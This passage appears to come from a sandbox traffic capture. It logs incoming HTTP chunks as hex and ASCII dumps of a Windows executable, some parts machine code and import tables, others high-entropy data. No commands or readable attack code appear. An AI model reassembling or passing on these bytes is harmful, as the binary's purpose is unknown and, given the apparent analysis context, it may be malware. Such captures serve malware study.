2022-11-29 23:11:39 UTC	32	IN	Data Raw: 32 30 30 30 0d 0a 74 33 0f b6 07 3b 85 78 fe ff ff 0f 85 cc 05 00 00 fe 8d 63 fe ff ff 80 bd 6a fe ff ff 00 0f 85 1c 05 00 00 8b 85 04 fe ff ff 89 85 1c fe ff ff e9 0b 05 00 00 80 bd 73 fe ff ff 00 7e 07 c6 85 62 fe ff ff 01 47 80 3f 5e 8b f7 75 0a 8d 77 01 c6 85 61 fe ff ff ff 6a 20 8d 45 dc 6a 00 50 e8 8c d2 ff ff 83 c4 0c 80 3e 5d 75 09 b2 5d 46 c6 45 e7 20 eb 66 8a 95 2f fe ff ff eb 5e 46 3c 2d 75 42 84 d2 74 3e 8a 0e 80 f9 5d 74 37 46 3a d1 73 04 8a c1 eb 04 8a c2 8a d1 3a d0 77 22 2a c2 fe c0 0f b6 fa 0f b6 d0 8b cf 83 e1 07 8b c7 b3 01 d2 e3 c1 e8 03 8d 44 05 dc 08 18 47 4a 75 e8 32 d2 eb 17 0f b6 c8 8a d0 8b c1 83 e1 07 b3 01 c1 e8 03 d2 e3 8d 44 05 dc 08 18 8a 06 3c 5d 75 9c 84 c0 0f 84 1e 05 00 00 89 b5 48 fe ff ff 8b b5 44 fe ff ff e9 ab fd ff Data Ascii: 2000t3;xcjs~bG?^uwaj EjP>]u]FE f/^F<-uBt>]t7F:s:w"*DGJu2D<]uHD
2022-11-29 23:11:39 UTC	40	IN	Data Raw: ff 75 f8 56 53 ff Data Ascii: uVS
2022-11-29 23:11:39 UTC	40	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	40	IN	Data Raw: 32 30 30 30 0d 0a 75 20 ff 15 50 11 40 00 89 45 f8 56 e8 b8 fd ff ff 59 ff 75 f4 e8 af fd ff ff 8b 45 f8 59 e9 59 01 00 00 89 5d f4 89 5d f0 39 5d 08 75 08 8b 06 8b 40 14 89 45 08 39 5d 20 75 08 8b 06 8b 40 04 89 45 20 ff 75 08 e8 8d 2c 00 00 59 89 45 ec 83 f8 ff 75 07 33 c0 e9 21 01 00 00 3b 45 20 0f 84 db 00 00 00 53 53 8d 4d 14 51 ff 75 10 50 ff 75 20 e8 ab 2c 00 00 83 c4 18 89 45 f4 3b c3 74 d4 8b 35 f0 11 40 00 53 53 ff 75 14 50 ff 75 0c ff 75 08 ff d6 89 45 f8 3b c3 75 07 33 f6 e9 b7 00 00 00 7e 3d 83 f8 e0 77 38 83 c0 08 3d 00 04 00 00 77 16 e8 28 2e 00 00 8b fc 3b fb 74 dd c7 07 cc cc 00 00 83 c7 08 eb 1a 50 e8 a1 9a ff ff 59 3b c3 74 09 c7 00 dd dd 00 00 83 c0 08 8b f8 eb 02 33 ff 3b fb 74 b4 ff 75 f8 53 57 e8 ff b1 ff ff 83 c4 0c ff 75 f8 57 ff Data Ascii: 2000u P@EVYuEYY]]9]u@E9] u@E u,YEu3!;E SSMQuPu ,E;t5@SSuPuuE;u3~=w8=w(.;tPY;t3;tuSWuW
2022-11-29 23:11:39 UTC	48	IN	Data Raw: a8 54 4a 00 e8 21 Data Ascii: TJ!
2022-11-29 23:11:39 UTC	48	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	48	IN	Data Raw: 32 30 30 30 0d 0a 8b ff ff ff 35 a4 54 4a 00 8b f8 89 7d fc e8 11 8b ff ff 8b f0 59 59 3b f7 0f 82 83 00 00 00 8b de 2b df 8d 43 04 83 f8 04 72 77 57 e8 52 11 00 00 8b f8 8d 43 04 59 3b f8 73 48 b8 00 08 00 00 3b f8 73 02 8b c7 03 c7 3b c7 72 0f 50 ff 75 fc e8 0b e4 ff ff 59 59 85 c0 75 16 8d 47 10 3b c7 72 40 50 ff 75 fc e8 f5 e3 ff ff 59 59 85 c0 74 31 c1 fb 02 50 8d 34 98 e8 2c 8a ff ff 59 a3 a8 54 4a 00 ff 75 08 e8 1e 8a ff ff 89 06 83 c6 04 56 e8 13 8a ff ff 59 a3 a4 54 4a 00 8b 45 08 59 eb 02 33 c0 5f 5e 5b c9 c3 8b ff 56 6a 04 6a 20 e8 5f e3 ff ff 8b f0 56 e8 ec 89 ff ff 83 c4 0c a3 a8 54 4a 00 a3 a4 54 4a 00 85 f6 75 05 6a 18 58 5e c3 83 26 00 33 c0 5e c3 6a 0c 68 00 0a 41 00 e8 ee 98 ff ff e8 64 ae ff ff 83 65 fc 00 ff 75 08 e8 f8 fe ff ff 59 89 Data Ascii: 20005TJ}YY;+CrwWRCY;sH;s;rPuYYuG;r@PuYYt1P4,YTJuVYTJEY3_^[Vjj _VTJTJujX^&3^jhAdeuY
2022-11-29 23:11:39 UTC	56	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2022-11-29 23:11:39 UTC	56	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	56	IN	Data Raw: 31 66 66 38 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1ff8
2022-11-29 23:11:39 UTC	64	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2022-11-29 23:11:39 UTC	64	IN	Data Raw: 74 12 01 00 8e 12 01 00 a2 12 01 00 ba 12 01 00 ca 12 01 00 d4 12 01 00 ee 12 01 00 00 13 01 00 22 13 01 00 34 13 01 00 40 13 01 00 52 13 01 00 38 0d 01 00 58 10 01 00 28 0d 01 00 c6 17 01 00 be 13 01 00 ce 13 01 00 e4 13 01 00 f2 13 01 00 fe 13 01 00 0a 14 01 00 26 14 01 00 44 14 01 00 52 14 01 00 64 14 01 00 70 14 01 00 88 14 01 00 92 14 01 00 9e 14 01 00 b0 14 01 00 be 14 01 00 ca 14 01 00 d8 14 01 00 e2 14 01 00 f2 14 01 00 08 15 01 00 1c 15 01 00 30 15 01 00 44 15 01 00 5c 15 01 00 74 15 01 00 8c 15 01 00 9a 15 01 00 a8 15 01 00 b0 15 01 00 be 15 01 00 ca 15 01 00 da 15 01 00 f0 15 01 00 0a 16 01 00 22 16 01 00 3c 16 01 00 4e 16 01 00 5c 16 01 00 76 16 01 00 8c 16 01 00 a6 16 01 00 b6 16 01 00 cc 16 01 00 dc 16 01 00 ee 16 01 00 00 17 01 00 12 17 01 Data Ascii: t"4@R8X(&DRdp0D\t"<N\v
2022-11-29 23:11:39 UTC	72	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	72	IN	Data Raw: 32 30 30 30 0d 0a 7f 3e 64 d1 42 41 04 27 50 3a be 83 99 53 e7 78 67 9b 9a 94 cd 9d 5c 46 ba a9 cb 39 06 59 38 cf 2f 17 3d a6 8d 95 64 22 81 61 eb a1 67 d7 a3 f6 94 23 d9 54 3f 1a b7 db c4 02 19 6c 53 25 bc c6 31 79 17 5d 4c 8b 86 5f 4f 87 28 dd 1e 14 07 4d f9 a2 47 5f 71 39 04 dc e7 6c 74 a4 a6 43 56 28 e1 48 8a f0 b8 5c 68 94 55 4c 0d 83 eb c2 df 4a 51 aa 0b ed 35 a2 c9 b9 e9 a6 55 51 ed 88 3c c9 b3 c5 f1 bb f3 34 bc 94 fc f6 93 fa 8f 78 a1 79 cb fa 42 38 28 ff 27 c5 39 b6 ce a7 2b 1d eb ac ef 05 74 6a 5e 73 dd 20 f1 78 f8 59 66 f8 4a e4 89 3a f2 4a c5 4c ef 59 d1 c9 a7 b7 6b fc ca 38 a8 83 3c 94 ab 06 3f f6 2f 8c 8d 76 6f 9f 98 6b b0 70 b1 68 30 bf 13 40 44 90 46 a7 29 6d 5c 22 38 61 85 5c 28 1d 5c bd ee 90 4b 90 0b 36 f4 b4 2d 0f 92 28 eb f3 19 9b ee Data Ascii: 2000>dBA'P:Sxg\F9Y8/=d"ag#T?lS%1y]L_O(MG_q9ltCV(H\hULJQ5UQ<4xyB8('9+tj^s xYfJ:JLYk8<?/vokph0@DF)m\"8a\(\K6-(
2022-11-29 23:11:39 UTC	80	IN	Data Raw: 23 57 b6 de 5d f7 Data Ascii: #W]
2022-11-29 23:11:39 UTC	80	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	80	IN	Data Raw: 32 30 30 30 0d 0a 92 e5 fb 51 05 88 2b a3 41 c7 4c 86 03 fb c8 69 50 e5 d3 c4 98 5d 1c e4 7e 4b 26 c1 d8 a7 c0 15 96 bd 00 72 d3 44 8f 1f 88 7a 79 27 1a 2b 53 9a 57 ca 7e 57 75 8c a9 35 5d 64 ff f5 d0 f9 22 0b 71 69 ac d4 fa 02 ce c4 30 20 5f cb ba 5b 10 a3 f3 ea 29 0e 0b bf e5 29 87 4b 04 d7 4a b6 78 85 95 11 47 9e 41 b6 e9 e3 23 ba 25 12 88 33 29 81 68 47 69 7e a6 f0 81 8a fc a6 fd a3 69 fc b1 63 87 e2 c8 62 fe b5 91 83 4a ab 20 d8 6f 86 e8 d7 eb 85 be 2b 7f 3b 4a b1 6d 20 3e 20 a6 f7 b5 6e dc 50 b1 5a 26 35 fc 67 4b b4 e9 66 8a ae b7 e7 7f bb 9f 35 27 a3 db b8 a0 e3 f5 f4 e9 ad 5d b8 94 18 eb cd 43 cd eb 1a 11 e2 c5 4f ee 30 3d 2f e3 9e 4a 8e dc 06 f0 32 f4 b7 ab f5 8e 71 b2 15 b6 92 24 e6 8f 75 d4 00 24 b1 5f 78 7e 1b af 86 c8 eb 50 c8 f8 ed 1b 45 61 Data Ascii: 2000Q+ALiP]~K&rDzy'+SW~Wu5]d"qi0 _[))KJxGA#%3)hGi~icbJ o+;Jm > nPZ&5gKf5']CO0=/J2q$u$_x~PEa
2022-11-29 23:11:39 UTC	88	IN	Data Raw: 63 50 8e 95 54 2a Data Ascii: cPT*
2022-11-29 23:11:39 UTC	88	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	88	IN	Data Raw: 32 30 30 30 0d 0a 9a a8 14 b3 ef 19 0e ef 0e ef 00 9d b0 36 5f 7d 8b 1f b6 cd a9 e4 eb 43 f7 ac 95 07 51 bf 47 de 2d 0b 0b ec 32 d5 46 91 75 e3 46 14 16 4b a7 ab 76 b0 f4 dc dc 5a 4c 58 72 90 cc 99 ab 43 70 02 7e e1 7d c4 21 66 e4 6d 10 3d e2 cf 68 fa 97 c2 5e f7 e5 39 ff 42 48 64 e7 ac 97 9b be 96 60 d5 f6 a6 e5 51 e6 73 b5 6e ba 32 75 86 d9 db 4d 5a 9c f2 74 9e 99 79 ba 7a b5 ce eb e5 ea 4e 31 4d 7b 57 42 0f 8d 30 ab 99 6f 6c 4d 11 a4 a0 77 3a 24 b1 45 75 cf 61 55 f7 7d 61 e4 0b 65 b9 86 ce 4d 7a 9f a1 f8 8e d7 43 2f 7e 4f 18 83 68 84 39 0b 4c 0d 81 be 72 4b a7 ec d4 9a 35 8c 1a 4e 7e 7b 7e e3 37 98 c7 8f 4c d1 1d 43 e6 30 45 e8 a4 4b 12 f3 0a 86 fb af d0 31 cc 65 da a7 c6 a2 17 02 ad 1a 2b 68 cb 87 79 23 a1 24 56 ee 78 b6 ba 5a 17 08 c3 ef 3d 59 aa 71 Data Ascii: 20006_}CQG-2FuFKvZLXrCp~}!fm=h^9BHd`Qsn2uMZtyzN1M{WB0olMw:$EuaU}aeMzC/~Oh9LrK5N~{~7LC0EK1e+hy#$VxZ=Yq
2022-11-29 23:11:39 UTC	96	IN	Data Raw: 90 0f 93 c9 da 16 Data Ascii:
2022-11-29 23:11:39 UTC	96	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	96	IN	Data Raw: 32 30 30 30 0d 0a 04 3d 91 55 d2 11 9e ae 0b 7a 7b 0d 37 71 98 8a 3a 70 04 df 70 5f 09 02 a9 38 37 88 91 d7 50 90 07 4f fd 36 6f 8e 3e d8 43 c5 52 ba 14 0c b8 ec 70 f5 07 aa b5 81 fb 3c b1 1a e8 7c 49 42 ca a1 f3 89 84 fe 3b 59 51 8e b5 73 83 05 7c b3 e4 a7 b2 62 9e a8 b0 75 28 ae 67 af 8d cc 70 de e0 e3 a5 6a 8a d7 0c ec cd 8f ae c6 89 6b 53 fb f5 da d2 04 49 6a 5e 9d 06 24 3f 31 31 06 10 1f 84 ca ee 0b 88 9d d4 c5 b5 8d 05 f6 77 a1 d6 9e 4e 6a 25 bb a0 12 37 6b ab 44 e8 f0 63 42 5a b7 dc 57 78 1c de d0 56 b5 84 0c c9 c3 b0 d7 27 b9 82 a1 c6 df f5 c6 42 c5 c6 83 f6 87 06 79 bc a0 a3 f4 c1 14 65 fd 05 31 b3 53 d7 85 d1 ca 11 ba a5 01 7a 17 a5 e4 bf 0a b0 69 2d 66 dc 6b 91 ab 4e 4c 41 4f 8f bc 60 07 3b b4 30 ed c8 54 55 e2 76 95 ef 6b 07 8e d9 9f 60 3b e7 Data Ascii: 2000=Uz{7q:pp_87PO6o>CRp<\|IB;YQs\|bu(gpjkSIj^$?11wNj%7kDcBZWxV'Bye1Szi-fkNLAO`;0TUvk`;
2022-11-29 23:11:39 UTC	104	IN	Data Raw: ea 1b 13 9d 7d f2 Data Ascii: }
2022-11-29 23:11:39 UTC	104	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	104	IN	Data Raw: 32 30 30 30 0d 0a 74 e2 9a cc a7 4c 5a 90 e5 1c d6 de 08 27 e9 4c 7d ff f6 72 a5 c4 0d c4 a1 b1 18 07 4d 28 90 41 f7 9d 86 84 a5 c7 38 bb d2 92 ff 32 fa 4b eb 81 33 25 07 3c 01 59 9f 0e 46 01 93 a0 46 fe 28 c1 97 ea d8 38 32 6c a3 67 33 e8 de cd b8 26 e3 f3 8e b3 af 8d 5a 7c 47 e2 30 4d 5d 89 36 26 e8 8f 85 68 70 1f 84 eb bf d5 13 f9 db 46 0f 28 a3 6a 4e 3b 94 d1 88 f4 52 47 62 63 ea 92 d4 e6 fb 54 14 68 95 25 a1 49 5c 79 55 6a 30 13 56 b7 21 d4 11 a4 32 3b 72 68 4e 4a e9 b6 ff 33 f0 2d 3e 17 37 90 41 62 da c7 c4 d2 90 49 db 08 9b 7f 86 71 9b f0 16 36 fd 50 dd fa 36 de 16 50 2c 8b b8 45 01 da 59 b2 5b fb 12 02 f8 67 37 39 fd e6 b3 51 22 f4 68 c2 4d d9 15 0a db 95 8f 52 2c 97 81 32 c8 54 cd 7f 76 93 29 3d a7 aa 8d 3d 89 f8 08 9f dc 78 df a7 46 b9 0c 3c 67 Data Ascii: 2000tLZ'L}rM(A82K3%<YFF(82lg3&Z\|G0M]6&hpF(jN;RGbcTh%I\yUj0V!2;rhNJ3->7AbIq6P6P,EY[g79Q"hMR,2Tv)==xF<g
2022-11-29 23:11:39 UTC	112	IN	Data Raw: fa 20 51 c2 b5 a7 Data Ascii: Q
2022-11-29 23:11:39 UTC	112	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	112	IN	Data Raw: 32 30 30 30 0d 0a 4d ed ac b4 54 0c 86 78 2e cc 8e a0 25 f3 b0 a2 ed 0f 20 8f 33 3b f8 f1 38 fc 8b c9 cd a6 13 23 61 4a 25 f6 a2 7b 98 0a 8e f7 63 a7 89 97 7a f3 22 68 87 bc 91 6d 59 c4 96 79 e6 4e 33 0f 32 a5 d3 14 df 5b f6 e8 b2 52 e1 8c 84 2c b5 61 84 4f b7 6c 3a 18 f1 aa 3d 6f 8a 0e 5f ce 24 82 14 eb f6 59 67 4f 37 5b eb c6 18 b0 9d 64 da e9 2d f2 d8 e8 ce 4a fa 15 58 a7 9b c4 76 ff d4 89 40 45 dd 85 cb e5 f7 07 b1 3a 74 ee 6d bc c4 80 17 6c 97 e7 30 67 e6 79 c3 48 ba 8a 44 c4 6d f5 74 85 e1 b0 53 a8 03 43 5d 13 b0 94 83 be c5 de 4a c2 d1 47 fc d0 c6 6c 20 ac ea 5e d4 5f 20 e1 75 4d 70 cd 95 f1 18 a9 37 ed 1e d5 e0 d8 e9 00 73 64 33 73 f3 8b 1f 19 24 2e 11 e5 fe 8f b7 6a 95 04 1c dd 88 2d f9 3d cd 72 23 a3 6b 52 93 19 ac b6 a8 ba f0 e1 56 7b a4 e1 19 Data Ascii: 2000MTx.% 3;8#aJ%{cz"hmYyN32[R,aOl:=o_$YgO7[d-JXv@E:tml0gyHDmtSC]JGl ^_ uMp7sd3s$.j-=r#kRV{
2022-11-29 23:11:39 UTC	120	IN	Data Raw: bf df 6a 42 1d 1b Data Ascii: jB
2022-11-29 23:11:39 UTC	120	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	120	IN	Data Raw: 31 66 66 38 0d 0a 2e aa be f5 74 7a 4c a3 f3 0b 6a 3e fe c5 14 bc 25 19 5d 12 7e bb b9 32 51 36 20 d4 18 2f a3 e8 d8 b7 b2 98 05 60 1f 62 e9 50 4f f6 28 0f af 9e 9c 60 0b 98 c3 e6 e4 fb c7 a3 80 37 f4 ae af dc b7 c6 54 37 3c 6d 8c 79 e4 2a e1 7a d2 bd 9b 9a 07 76 d3 4d 7f 0a f9 0e 11 09 a0 81 c5 31 8f b0 93 5f 8c bc 5e 10 15 8a d3 a5 de 62 7b 93 4a 4a 06 65 25 d5 2f 2a 6e 1e 5f cd f4 b1 ad f6 4b fb 1f e1 60 ee 80 6c 9e 1a a1 dd c2 b8 9d 8f b1 71 c6 75 88 d8 67 da 4f f3 c2 f5 05 0b 67 a4 ff 6e 06 05 01 bf b6 64 26 22 96 2f a4 4e e7 8a 4d 48 d3 1e 73 a2 7b 38 9e c8 ec b7 40 60 0d f0 54 f5 6d bf 73 d9 1d f5 31 64 69 0c c7 d3 71 d3 e1 8b f0 7d d1 2d 37 07 6e 36 20 90 bb b0 6e cf 3b d7 a8 ce d5 fd 95 c6 c9 03 46 d7 2a 99 34 bb 93 45 38 a4 94 c7 26 dc 32 ae 9c Data Ascii: 1ff8.tzLj>%]~2Q6 /`bPO(`7T7<myzvM1_^b{JJe%/n_K`lqugOgnd&"/NMHs{8@`Tms1diq}-7n6 n;F*4E8&2
2022-11-29 23:11:39 UTC	128	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2022-11-29 23:11:39 UTC	128	IN	Data Raw: 8f f7 da 0d 50 a1 99 99 e6 c5 dd 5f 32 ca 67 65 1b e2 1f 75 2b c3 46 77 c3 27 8f f1 08 86 2f 8a ce 18 d8 2e 1e 93 d0 c3 e9 fc 3b 02 5c 4b ea f9 25 a1 35 36 c2 28 29 16 e1 81 aa 7a 9a d7 04 eb 9f 0f 00 bf 07 1b 91 33 47 c7 ca 4d de b1 75 c5 49 c8 36 bc 61 63 aa 30 35 1b 5c b0 28 2b 64 bc 05 bb 9d b4 1a 4e 28 77 12 15 77 10 70 85 7e 6d 0b 08 22 cb 56 19 f0 f3 ec 9a c9 ed 8f 41 48 93 72 c1 ba bf 3d 4b 14 d3 ab bd 9f 2c 05 2e 64 71 2c 4a 97 27 d4 f9 a0 c0 7b cb fe 84 74 aa 78 37 d1 d8 8b 47 cd 75 44 1d 34 84 10 3d db 3f 90 1e 91 ab e9 22 8d 6d e4 df 5e 13 15 01 94 b6 7d d2 d0 c5 75 3a 72 26 51 3b e5 4b 14 c9 12 ed 61 ac 1f d6 c0 a7 8f 9c b4 38 09 44 91 b9 ee 50 27 96 75 3c 24 b4 bb ab 93 80 bf ed e6 26 0e 4b 8f 01 f8 60 3a 31 ad c9 f4 e6 67 ff fc 79 6c 1e 5f Data Ascii: P_2geu+Fw'/.;\K%56()z3GMuI6ac05\(+dN(wwp~m"VAHr=K,.dq,J'{tx7GuD4=?"m^}u:r&Q;Ka8DP'u<$&K`:1gyl_
2022-11-29 23:11:39 UTC	136	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	136	IN	Data Raw: 32 30 30 30 0d 0a 25 86 07 4a ed 4a 43 96 73 f1 26 fd a0 b1 04 0a 29 20 29 47 dd d8 92 2b d4 8e 82 25 7d a5 3b bb f5 81 b9 ed c5 59 23 55 6f 7d 28 7a 22 cb db d7 a1 f7 9e 48 87 1c 08 8c 73 51 83 31 1f a9 99 ce ad 30 3a 66 6e f1 9b ce 7d 0e 39 97 f2 b4 23 c8 73 ee 7f 7e fb cd 8d 6b 4c 43 69 66 68 4e 50 3a 32 e3 77 8c 97 f7 6f 3f 3f db 0a 7d c5 6c fc 87 21 ae 86 d2 b2 8e 66 89 3e f6 34 cc 8a b5 df ba 95 47 b5 05 55 85 96 27 a7 5c 50 be 6d 2d 6b 42 7b a2 0a 7c 03 3b a4 4c 00 16 78 c6 4c f6 4f c4 41 90 2d 14 c3 a3 a3 39 71 14 65 9a ac 44 c4 a9 e0 d3 dc fa 7f b1 ca 6e f3 30 60 19 04 d4 92 2e c9 97 ff f5 aa 46 dc 40 89 b7 29 5d d3 bf 40 9f 8c 0b f5 f7 b5 06 4e 61 a7 d7 44 d7 37 c0 7c 9c 70 10 b5 77 f1 8b cb 7c 51 e5 e5 fc 4a 00 eb f0 ef aa 90 6e aa a2 46 83 fa Data Ascii: 2000%JJCs&) )G+%};Y#Uo}(z"HsQ10:fn}9#s~kLCifhNP:2wo??}l!f>4GU'\Pm-kB{\|;LxLOA-9qeDn0`.F@)]@NaD7\|pw\|QJnF
2022-11-29 23:11:39 UTC	144	IN	Data Raw: 51 e2 b9 d8 50 6b Data Ascii: QPk
2022-11-29 23:11:39 UTC	144	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	144	IN	Data Raw: 32 30 30 30 0d 0a e1 99 ee 15 be 15 0a e4 44 c8 a1 6a ac 80 6f 7a 07 0e 65 48 cc c3 d5 b7 70 45 ed 0a 73 79 72 e8 84 ad 3e 2b bc ef 81 04 a3 50 61 5c e7 e5 4b ab 20 d8 9f 5d bd be c9 10 0d 4a 2c 69 fd 12 cf 91 a2 5d 39 93 b0 fd 45 7e aa e4 82 14 05 1e e9 fc 53 42 6a 41 f6 c8 b4 61 05 82 da 78 40 e6 5a 87 fa 60 00 0d 91 b6 3e 2c 14 70 f9 7f f4 af 07 e0 d1 94 fc 0a ab 32 de aa 99 e2 7d a1 63 d3 33 96 c8 59 e5 90 02 77 85 f0 e6 81 98 ee a0 02 23 a1 b6 f0 0e 97 9b 7c 2c c0 95 43 fd d0 85 f5 72 bf 29 83 e4 29 ee af 61 2c 18 29 77 08 20 25 9c d6 6e 65 bc 73 6a 5d 7f b6 ca fb 87 ef 96 10 df 79 94 23 92 36 a4 48 70 e3 3c 21 d8 40 92 5b a4 2c e2 27 2b 67 75 56 16 8e 1e 6c fa 90 b2 9e eb 68 0f 96 11 e6 de 4b 03 87 8c 39 23 a2 08 3d 3f af 30 bc 11 39 b9 d9 4d c8 fb Data Ascii: 2000DjozeHpEsyr>+Pa\K ]J,i]9E~SBjAax@Z`>,p2}c3Yw#\|,Cr))a,)w %nesj]y#6Hp<!@[,'+guVlhK9#=?09M
2022-11-29 23:11:39 UTC	152	IN	Data Raw: b1 33 2d 9b 0c 71 Data Ascii: 3-q
2022-11-29 23:11:39 UTC	152	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	152	IN	Data Raw: 32 30 30 30 0d 0a cb 95 e3 02 2c e1 9d 8b d5 95 f9 f8 a8 f3 93 e9 b8 06 99 17 a0 1c c7 73 86 e8 7f 84 7a dc 03 b4 49 0a f1 83 70 cd ae 08 25 f0 5d c3 90 4c e2 13 e6 47 13 cd 87 f6 ee 48 7a 41 58 02 af 44 d8 95 c9 d1 2b c1 80 fd 1f 55 54 3d 13 5d be 3c 2b 02 e3 db 06 04 d0 01 9a f8 3a 10 95 5e d4 47 ba 05 79 92 49 5a c6 76 72 cf 07 52 1f e0 76 69 e4 34 05 6c 4d bb ff 2e 8f 0f d8 48 c7 72 54 92 0d 07 64 e4 e7 95 e2 15 0c 02 1c c7 6b 36 0a 81 4b e7 ef f4 3c 45 ff a9 44 10 2a bd 36 89 24 12 25 e2 f8 ba ae 49 93 1d fe 69 a9 bd 3c 88 6f 1b 7f ea 95 00 29 6b a6 9d dc f9 ce c7 f1 68 6e b0 58 85 8a 59 39 c0 4e 50 a5 52 da 62 73 11 50 4e 48 e5 ff 11 76 28 6a 1b 08 80 f6 e2 ba 85 3e d2 2b c7 19 4e 28 1d e8 01 c7 00 e6 ab 6c 53 2d 06 58 2d 79 3e 5b d8 ec 22 4d 0d 11 Data Ascii: 2000,szIp%]LGHzAXD+UT=]<+:^GyIZvrRvi4lM.HrTdk6K<ED*6$%Ii<o)khnXY9NPRbsPNHv(j>+N(lS-X-y>["M
2022-11-29 23:11:39 UTC	160	IN	Data Raw: 00 fc 1c 53 28 68 Data Ascii: S(h
2022-11-29 23:11:39 UTC	160	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	160	IN	Data Raw: 32 30 30 30 0d 0a ac 19 de e5 2d fa 00 60 72 e5 9f 08 c6 3a 53 71 06 cf 63 ec 11 56 ca 2c 29 48 c4 93 04 b5 0a 0c 14 20 67 d2 e4 61 82 f8 67 e3 f9 81 c8 61 71 93 7d ed b6 da 7e 1a 9a 1c 9d 0d 10 90 ac f5 10 b2 a3 26 e6 ee 55 4b de ea 20 fd 90 ab fd 17 5c 05 a2 dd 87 d8 a9 ee b9 52 a1 20 d4 a3 90 a0 b4 35 d8 e3 86 f5 73 51 b4 ab 73 b3 c1 62 73 bb 2c 8d e4 74 03 1a b9 28 c5 ca 71 22 67 5a ad 42 9f ad 15 58 2b d5 8c 18 57 5d 9b 7e 19 b0 cc aa 77 df bd 5c dd 81 47 20 7f f0 01 fa ea 92 1b 10 b5 8d 40 0e 95 2f 10 0c f7 54 10 f7 72 1e 40 e6 b2 37 99 ee 0b 16 1b 3a 7a f4 6a 0e 40 45 91 7c 26 de 32 96 fc e9 48 9b 7d e5 8c 80 7c dd 49 ec 37 05 91 3f 15 77 b1 32 46 40 73 9b 94 b7 48 aa 9a dd 93 b2 92 f4 eb 8e a3 1a 44 ac 74 24 5c e3 bc 61 26 9c e7 8b b1 1e 57 9a c8 Data Ascii: 2000-`r:SqcV,)H gagaq}~&UK \R 5sQsbs,t(q"gZBX+W]~w\G @/Tr@7:zj@E\|&2H}\|I7?w2F@sHDt$\a&W
2022-11-29 23:11:39 UTC	168	IN	Data Raw: ad 2b ba 74 6a 9c Data Ascii: +tj
2022-11-29 23:11:39 UTC	168	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	168	IN	Data Raw: 32 30 30 30 0d 0a ee 32 94 03 86 df f7 72 32 bb 3b 52 96 97 d4 b4 c2 e8 ae dd 64 4e 6e c1 70 1a ef 22 e1 d8 46 78 6c 3d d5 9a 12 ae 0b af 79 0e 71 a5 00 71 e2 c3 e3 d4 7b 9c 1c df 30 94 8b 06 5b 67 0a 07 b6 c9 47 78 b9 37 8f 25 75 13 61 de 82 dc 35 79 8c d3 61 fd 96 6a 1f 08 bd 8f 42 82 55 14 0b ff 0a dc 4d fe a8 38 47 da a0 f3 29 43 5d 05 f0 81 b9 34 3f 94 ab 99 20 77 bb 7c 24 dc 1c 1c d1 44 ae a4 2d 44 c0 6b 9e c0 68 7b 2b 0a 1e 8d f1 7e 4a dc fd 57 d0 31 8f 99 fc a9 9d f3 9b 6d 05 d9 22 fc f6 da cd af 30 2b fc 10 23 58 b3 6e e0 95 d3 7a a3 1f 1b c0 cf 81 25 1b b2 fe 34 73 76 52 aa 73 70 62 12 2a 84 9e bd c6 f7 64 ab 94 f2 03 70 4d 8d c7 69 ac 3e 88 1f 58 f8 b0 ac 54 89 c3 cb 2b 40 8a ed fd ff 3d 70 c9 9d 6e e5 b7 57 5f 5f 19 1c 44 b3 ad a5 c4 f1 5e a0 Data Ascii: 20002r2;RdNnp"Fxl=yqq{0[gGx7%ua5yajBUM8G)C]4? w\|$D-Dkh{+~JW1m"0+#Xnz%4svRspb*dpMi>XT+@=pnW__D^
2022-11-29 23:11:39 UTC	176	IN	Data Raw: 18 68 13 25 48 9f Data Ascii: h%H
2022-11-29 23:11:39 UTC	176	IN	Data Raw: 0d 0a Data Ascii:
